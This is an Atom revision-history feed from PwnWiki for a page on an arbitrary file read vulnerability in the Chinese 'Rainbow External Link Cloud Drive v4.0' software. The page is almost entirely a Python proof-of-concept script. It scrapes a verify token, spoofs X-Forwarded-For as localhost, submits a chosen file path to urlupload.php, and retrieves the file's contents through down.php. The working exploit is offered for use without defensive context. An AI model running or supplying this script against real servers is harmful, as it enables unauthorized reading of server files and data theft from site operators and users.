https://pwnwiki.com/index.php?action=history&feed=atom&title=%E5%BD%A9%E8%99%B9%E5%A4%96%E9%8F%88%E7%B6%B2%E7%9B%A4_v4.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E
彩虹外鏈網盤 v4.0 任意文件讀取漏洞 - Revision history
2026-04-11T21:24:23Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E5%BD%A9%E8%99%B9%E5%A4%96%E9%8F%88%E7%B6%B2%E7%9B%A4_v4.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&diff=2880&oldid=prev
Pwnwiki: Created page with "==POC== <pre> import requests import re import sys url = sys.argv[1] file = sys.argv[2] headers={"X-Forwarded-For":"127.0.0.1"} requests = requests.session() html = requests.g..."
2021-05-17T01:44:00Z
<p>Created page with "==POC== <pre> import requests import re import sys url = sys.argv[1] file = sys.argv[2] headers={"X-Forwarded-For":"127.0.0.1"} requests = requests.session() html = requests.g..."</p>
<p><b>New page</b></p><div>==POC==<br />
<pre><br />
import requests<br />
import re<br />
import sys<br />
url = sys.argv[1]<br />
file = sys.argv[2]<br />
headers={"X-Forwarded-For":"127.0.0.1"}<br />
requests = requests.session()<br />
html = requests.get(url+"/urlupload.php").text<br />
verify = re.findall("name=\"verify\" value=\"(.*?)\"",html)[0]<br />
data={"url":file,"name":"1231421312.torrent","pwd":"Aa1345123","verify":verify}<br />
html = requests.post(url+"urlupload.php?a=1",data=data,headers=headers).text<br />
try:<br />
down_url = re.findall("<a href=\"(down.php.*?)\"",html)[0]<br />
result = requests.get(url+down_url).text<br />
except:<br />
result = "error"<br />
print(result)<br />
</pre></div>
Pwnwiki